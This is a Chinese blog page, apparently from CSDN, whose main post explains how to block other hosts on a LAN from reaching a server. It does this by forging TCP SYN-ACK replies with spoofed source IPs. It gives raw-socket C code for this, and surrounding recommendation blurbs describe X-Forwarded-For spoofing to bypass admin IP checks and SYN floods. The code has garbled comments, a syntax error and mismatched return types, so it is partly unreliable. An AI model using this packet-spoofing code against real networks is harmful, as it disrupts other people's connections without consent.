伪造IP包,禁止TCP连接

Bugku实战:利用HTTP头伪造突破管理员IP限制 本文通过一个Bugku实战案例,详细演示了如何利用HTTP头伪造技术突破管理员IP限制。文章从发现Base64编码密码开始,逐步讲解使用Burp Suite工具拦截请求、伪造X-Forwarded-For等HTTP头部,最终结合常见弱口令成功获取后台权限的完整过程,并深入分析了此类漏洞的成因与防御方法。 阅读详情
大家是否想过在局域网内如何禁止别人访问web server,pop3,ftp等。那么如何禁止呢?大家都知道TCP是面向连接的,连接时有三次握手,之后才能确认连接成功。那么我们就应该能在第一次握手之后伪造一个服务方的握手返回,从而达到TCP连接不成功,无法访问某端口。程序如下:

void DeCodeIP(buf,iBufSize) //解析侦听到的IP数据包

{

IPHEADER * pIPhdr;

TCPHEADER * pTCPhdr;

pIPhdr=(IPHEADER * )buf;

//获得TCP header的起始位置

int iIphLen = sizeof(unsigned long) * (pIPhdr->h_lenver & 0xf);

pTCPhdr = (TCPHEADER* )(buf+iIphLen);

//判断是否为第一次握手IP数据包,pIPhdr->th_flag=2 即("-s----")

if (iBufSize==48) && (pIPhdr->iProtocol==IPPROTO_TCP) && (pIPhdr->th_flag==2)

sendTCP_SYNACK(szDestIP,szSourceIP,pTCPhdr->destPort,pTCPhdr->srcPort,pTCPhdr->seq);

}

void sendTCP_SYNACK(char * szSrcIP, char * szDestIP,unsigned short srcPort,unsigned short destPort,unsigned int iAck)
{
int iErrorCode;
SOCKET s;
IP_HEADER ip_header;
TCP_HEADER tcp_header;
PSD_HEADER psd_header;
struct sockaddr_in remote;
char * ptr=NULL;
//创建socket
s=socket(AF_INET, SOCK_RAW, IPPROTO_IP);
if (CheckSockError(s, "socket-tcp"))
return FALSE;

BOOL bOpt = TRUE;
iErrorCode = setsockopt(s, IPPROTO_IP, IP_HDRINCL, (char *)&bOpt, sizeof(bOpt));
if (CheckSockError(iErrorCode, "setsockopt-TCP"))
{
closesocket(s);
return FALSE;
}

//---end-
//伪装连接

unsigned short iTotalSize=44;
unsigned short iTCPSize=24;
char *sendBuf=new char[iTotalSize];

ip_header.h_lenver=(4<<4 | sizeof(ip_header)/sizeof(unsigned long));
//高四位版本号,低四位首部长度
ip_header.total_len=htons(iTotalSize); //16位总长度
ip_header.tos=0;
ip_header.ident=htons(17393); //16??±êê?
ip_header.frag_and_flags=0; //3??±ê????,13??offset
ip_header.ttl=57; //8??éú′?ê±??TTL
ip_header.proto=IPPROTO_TCP; //8??D-òé(TCP,UDP?-)
ip_header.checksum=0; //16位校验和

ip_header.sourceIP=inet_addr(szSrcIP); //32位远地址·
ip_header.destIP=inet_addr(szDestIP); //32位目的地址·
ip_header.checksum=checksum((USHORT *)&ip_header,20);

//填充TCP首部
tcp_header.th_sport=htons(srcPort); //源端口
tcp_header.th_dport=htons(destPort); //目的端口
tcp_header.th_seq=htonl(0x581A784D); //SYN序列号
tcp_header.th_ack=htonl(iAck+1); //应答序号
tcp_header.th_lenres=(iTCPSize/sizeof(unsigned long)<<4|0); //TCP长度和保留位
tcp_header.th_flag=0x12; //SYN 标志

tcp_header.th_win=htons(65535); //窗口大小
tcp_header.th_urp=0; //紧急指针
tcp_header.th_sum=0; //校验和

//填充TCP伪首部(只用于生成校验和)

psd_header.saddr=ip_header.sourceIP;
psd_header.daddr=ip_header.destIP;
psd_header.mbz=0;
psd_header.ptcl=IPPROTO_TCP;
psd_header.tcpl=htons(iTCPSize);

ZeroMemory(sendBuf,iTotalSize);
//计算tcp校验和,包含伪TCP header
memcpy(sendBuf,&psd_header,sizeof(psd_header));
ptr=sendBuf+sizeof(psd_header);
memcpy(ptr,&tcp_header,sizeof(tcp_header));
ptr=sendBuf+sizeof(psd_header)+sizeof(tcp_header);
*ptr=(char)0x02;*(ptr+1)=(char)0x04;*(ptr+2)=(char)0x05;*(ptr+3)=(char)0xb4;
tcp_header.th_sum=checksum((USHORT *)sendBuf,sizeof(psd_header)+24);

ZeroMemory(sendBuf,iTotalSize);

//填充发送缓冲区

memcpy(sendBuf,&ip_header,sizeof(ip_header));
ptr=sendBuf+sizeof(ip_header);
memcpy(ptr,&tcp_header,sizeof(tcp_header));
ptr=sendBuf+sizeof(ip_header)+sizeof(tcp_header);
*ptr=(char)0x02;*(ptr+1)=(char)0x04;*(ptr+2)=(char)0x05;*(ptr+3)=(char)0xb4;
remote.sin_family = AF_INET;
remote.sin_port = htons(destPort);
remote.sin_addr.s_addr = inet_addr(szDestIP);
iErrorCode = sendto(s, sendBuf, iTotalSize, 0, (SOCKADDR *)&remote, sizeof(remote));
CheckSockError(iErrorCode, "SYNACK sendto");
//伪装关闭连接
iTotalSize=40;
iTCPSize=20;

// end--------
closesocket(s);
delete[] sendBuf;
return TRUE;
}

云计算虚拟化实验(一)——虚拟机软件VMware的安装以及虚拟机系统的安装(Windows7+CentOS7) 主要内容: 1、虚拟机软件的安装(以VMware为例) 2、虚拟机系统的安装(Window7 + CentOS7) 3、虚拟主机网络互访 4、不同局域网内的虚拟主机互访(软路由——海蜘蛛) 0 ——首先介绍一下什么是虚拟化? 虚拟化,是指通过虚拟化技术将一台计算机虚拟为多台逻辑计算机。在一台计算机上同时运行多个逻辑计算机,每个逻辑计算机可运行不同的操作系统,并且应用程序都可以在 阅读详情

相关推荐

Qt Location实战:5分钟搞定地图插件切换与卫星图源加载(附完整代码)

本文是Qt Location开发系列教程的实战指南,详细讲解如何在Qt应用中快速实现地图插件(如Esri、OSM、MapboxGL)的动态切换与卫星图源的加载。通过清晰的代码示例,帮助开发者理解插件机制,解决常见配置问题,并在5分钟内构建出具备交互式地图切换功能的应用程序。

kafka6courier的博客 527

拦截ip包C++

拦截ip包C++2009年03月25日 星期三 下午 10:36<br />#include <iostream> <br />#include <winsock2.h> <br />#include <ws2tcpip.h> <br />#include <fstream><br />#include <windows.h> <br />#pragma comment(lib,"ws2_32.lib") //指定连接到网络应用和internet<br />#define IO_RCVALL _WSAIOW

3018

机器视觉避坑指南:为什么你的Halcon划痕检测总漏检?(附优化方案)

本文深入剖析了Halcon在表面划痕检测中漏检率高的常见原因,如灰度值波动、噪声干扰及形态学参数设置不当。针对复杂背景与低对比度划痕,提出了超越官方例程的多尺度纹理分析与特征融合优化方案,旨在帮助开发者构建更鲁棒、稳定的机器视觉检测流程,有效提升检出率。

weixin_29057163的博客 235

VC++实现禁止上网

 1、使用windows Hook,监视IE或其他浏览器的地址栏,发现有www或http字样的,则更改这些url,使之不能访问相应的url。这种方法实现可能相对容易,但是不准确,不能限制所有的上网软件。糊弄未成年小孩可能比较有效。  2、基于SPI的数据包过滤。通过编写自己的Winsock服务提供者(SPI),过滤掉不符合规则的包,如过滤访问Internet的数据包。下面会详述此方法。  3、...

weixin_30239339的博客 632

MPU6050芯片 寄存器详解与配置指南(详解)

分频值越小,数据刷新越快(如分频值 = 0 时,刷新率 = 8kHz/1=8kHz)。功能:配置采样频率分频系数,控制 ADC 转换速度和数据刷新率。数据刷新率 = 陀螺仪输出时钟频率 /(1 + 分频值)

m0_74696257的博客 1423

keil5编程前的工程文件配置,芯片型号支持包配置,用户文件配置,启动文件配置和库函数配置-江科大stm32学习 第一天

1.start文件夹中头文件需要配置路径path,另外user和library也需要,都是同样的操作。如图,在option界面c/c++中,在倒数第二空行的三个点处添加。2.需要设置一个宏,作用是使主函数头文件包含标准库函数,操作如图:复制头文件中8296行的字符串,在option界面的c/c++中第一行define粘贴这个字符串即可。一、首先,下载芯片支持包,选择你自己的器件型号,不懂的可以看我这篇选器件的方法(默认已经注册好用户)点击编译按钮,编译成功后即可在user文件夹里添加main.c正常使用。

weixin_50682964的博客 1952

c++突破网关屏蔽_局部网络屏蔽

有线网络屏蔽ARP官方释意:地址解析协议,即ARP(Address Resolution Protocol),是根据获取的一个。发送信息时将包含目标IP地址的ARP请求广播到局域网络上的所有主机,并接收返回消息,以此确定目标的物理地址(MAC);收到返回消息后将该IP地址和物理地址存入本机ARP缓存中并保留一定时间,下次请求时直接查询ARP缓存以节约资源。实验环境:Linux parrot(攻击系...

weixin_39939993的博客 608

RK3588 固定hdmiin的dev/videoX节点

RK3588 固定hdmiin的dev/videoX节点

目前从事linux驱动开发,多交流多学习吧 2050

如何伪造ip包,伪造IP包的方法以及代码

下面是一个伪造IP包的代码,大家可以发挥自己的想象而去做一些更实际的东西 利用伪造IP包达到禁止端口访问的目的,大家都知道TCP是面向连接的,连接时有三次握手,之后才能确认连接成功。那么我们就应该能在第一次握手之后伪造一个服务方的握手返回,从而达到TCP连接不成功,无法访问某端口。程序如下:void DeCodeIP(buf,iBufSize) //解析侦听到的IP数据包{

blackoto的专栏 4924

6、 实时家禽健康识别与疾病检测系统的深入解析

本文深入解析了一种基于物联网的实时家禽健康识别与疾病检测系统,结合图像分析和音频分析技术,能够有效识别病鸡并防止疾病传播。文章详细介绍了系统的测试环境、数据采集与预处理方法、图像与音频分析流程,并对系统性能进行了全面评估。最后提出了未来改进方向,包括多模态融合、深度学习应用及实时性优化等。

weixin_28840811的博客 186

芒果YOLOv10改进31:特征融合Neck篇:改进特征融合网络 BiFPN 结构,融合更多有效特征

YOLOv10改进:特征融合Neck篇:改进特征融合网络 BiFPN 结构,融合更多有效特征

包括YOLOv5、YOLOv7、YOLOv8等模型改进 684

50.使用TCP协议进行路由跟踪

当目标主机禁止 ping 时,就无法通过 ICMP 请求包进行路由跟踪,这时可以借助 TCP 协议实施跟踪。 用户可以使用 netwox 工具提供的相关模块发送 TCP 包,与目标主机连接,然后通过返回的响应来判断经过的路由信息。 构造TCP包进行路由跟踪 通过 TCP 包进行路由跟踪实际上也是构造一个 [SYN] 包,向目标主机进行发送,通过控制 TTL 值,从而获取路由信息。 例如,向目标主机发送 [SYN] 包后,到达经过的路由器时,TTL 值已经变为 0,但还没有到达目标主机,则该路由器将返回表

CodeAllen嵌入式 1679

深度学习笔记——前向传播与反向传播、神经网络(前馈神经网络与反馈神经网络)、常见算法概要汇总

本文简要介绍深度学习的前向传播与反向传播,以及前馈神经网络与反馈神经网络。

haopinglianlian的博客 3044

没有到主机的路由_网络基础知识:TCP协议之跟踪路由

一次性付费进群,长期免费索取教程,没有付费教程。进微信群回复公众号:微信群;QQ群:460500587教程列表见微信公众号底部菜单 |本文底部有推荐书籍微信公众号:计算机与网络安全ID:Computer-network当目标主机禁止ping时,就无法通过ICMP请求包进行路由跟踪。这时可以借助TCP协议实施跟踪。可以使用netwox工具提供的相关模块发送TCP包,与目标主机连接...

weixin_39904612的博客 928

最新的sdio 4.0 spec 协议标准 带书签 高清完整PDF版

Part-E1-SDIO-Specification-Ver4.00-Final-120220.pdf:最新的sdio 4.0 spec 协议标准 带书签 高清完整PDF版,包括SDIO 接口的外设,SDIO 接口官方协议等。

汉书HE8,好用的汇编代码编写工具

汉书HE8,好用的汇编代码编写工具早期编写汇编代码所用功能强大

伪造 UDP 包源 IP 地址

Raw sockets 方式 raw socket 可通过参数 IPV6_HDRINCL 或 IP_HDRINCL 自定义IP头——伪造UDP报文源IP就全靠它了。 限制:从xp sp2之后的所有非服务器版本的windows,都不能发送TCP,并且也不能伪造UDP的源地址。 这里使用 dpkt 做 UDP/IP 包的组装: class SyslogSenderRawScoket: ...

weixin_30247781的博客 1659

TMS_WebGMaps_1.9.8.0_Full_Source

TMS_WebGMaps_1.9.8.0_Full_Source 全源码 delphi cbuilder

web12:本地管理员(http请求,伪造IP,XFF字段)

这道题,提示是IP禁止访问。看了答案以后,说是伪造本地IP。 不允许外来IP访问,那么应该就是本地IP可以访问了,本地IP又称回送地址,用于本地软件测试,进程间通信。 伪造本地IP的方法是在http头上加一个字段X-Forwarded-For:127.0.0.1 另外在网页源码里有一串Base64字符,解码后是test123 管理员系统的账号常为admin,所以猜test123是其密码。 所以伪造http头,加一个字段伪造来源为本地IP即可破解题目。 ...

y17861077326的博客 3677

端口开放就可发送tcp连接吗_网络基础知识:TCP协议之扫描主机

一次性付费进群,长期免费索取教程,没有付费教程。进微信群回复公众号:微信群;QQ群:460500587教程列表见微信公众号底部菜单 |本文底部有推荐书籍微信公众号:计算机与网络安全ID:Computer-network通常,用户通过ping命令判断目标主机是否开启。但是,很多主机都是禁止使用ping命令的。如果目标主机开放,并有程序在运行和监听特定的TCP端口,那么就可以通过T...

weixin_39900531的博客 258

php mysql合同跟踪,使用TCP协议进行路由跟踪

当目标主机禁止 ping 时,就无法通过 ICMP 请求包进行路由跟踪,这时可以借助 TCP 协议实施跟踪。用户可以使用 netwox 工具提供的相关模块发送 TCP 包,与目标主机连接,然后通过返回的响应来判断经过的路由信息。构造TCP包进行路由跟踪通过 TCP 包进行路由跟踪实际上也是构造一个 [SYN] 包,向目标主机进行发送,通过控制 TTL 值,从而获取路由信息。例如,向目标主机发送 [...

weixin_33600827的博客 141

46.使用TCP协议扫描主机

当客户端与服务器不再进行通信时,都会以 4 次挥手的方式结束连接。本节将介绍 4 次挥手的过程。 第 1 次挥手 客户端向服务器端发送断开 TCP 连接请求的 [FIN,ACK] 报文,在报文中随机生成一个序列号 SEQ=x,表示要断开 TCP 连接,如图所示。 第 2 次挥手 当服务器端收到客户端发来的断开 TCP 连接的请求后,回复发送 ACK 报文,表示已经收到断开请求。回复时,随机生成一个序列号 SEQ=y。由于回复的是客户端发来的请求,所以在客户端请求序列号 SEQ=x的基础上.

CodeAllen嵌入式 1387

TCP系列06—连接管理—5、TCP fastopen(TFO)

====================================================|| 欢迎讨论技术的可以相互加微信:windgs (请备注csdn+xx职业) ====================================================|| 目录 一、TFO背景 二、TFO过程 三、SYN包重复递交数据 一、TFO背景 ...

随意的风的专栏 971

WEB安全-伪造X-Forwarded-For绕过服务器IP地址过滤

转自:http://www.jianshu.com/p/98c08956183d 在正常的TCP/IP 通信中,是可以伪造数据包来源 IP 的,但这会让发送出去的数据包返回到伪造的IP上,无法实现正常的通信。 实现TCP/IP层级别的伪造很难,因为很难实现正常的TCP连接;但是在应用层协议HTTP上的实现较容易,通过伪造IP,能欺骗多数服务器应用程序实现通信。对于绕过服务器的IP地址过

2万+

如何实时监测分析X-Forwarded-For伪造

什么是X-Forwarded-For 如果要问当下最走红的应用层协议,当HTTP莫属,一个无状态维护协议,其连接基于TCP,在HTTP协议头部没有IP地址字段。所以,如果要在应用层保存IP地址信息(应用服务器统计访问者信息的主要来源之一),只能通过X-Forwarded-For头部字段来实现。 X-Forwarded-For位于HTTP协议的请求头部,属于HTTP的头部扩展。在HTTP/1.1(R...

NetInside__的博客 1398

从TCP三次握手到SYN Flood攻击:原理、防御与实战分析

TCP三次握手是网络通信的基石,它通过客户端与服务器之间的SYN、SYN-ACK、ACK三个步骤建立可靠连接。然而,攻击者利用握手过程中的资源分配机制,通过伪造大量SYN包并不完成第三次握手,使服务器半连接队列耗尽,导致拒绝服务。这种资源耗尽型攻击凸显了网络安全中状态维持与资源有限的根本矛盾。在工程实践中,SYN Cookie等防御机制通过加密哈希将连接状态外包给客户端,有效缓解资源压力。结合DDoS防护与流量清洗,构建纵深防护体系成为保障服务可用的关键。本文以SYN Flood为例,深入拆解其攻击原理与防

congtaixiao7151的博客 404
上一篇: C程序开发规范
下一篇: C语言程序设计基础之联合
peterxin
博客等级 码龄22年 7粉丝 41原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值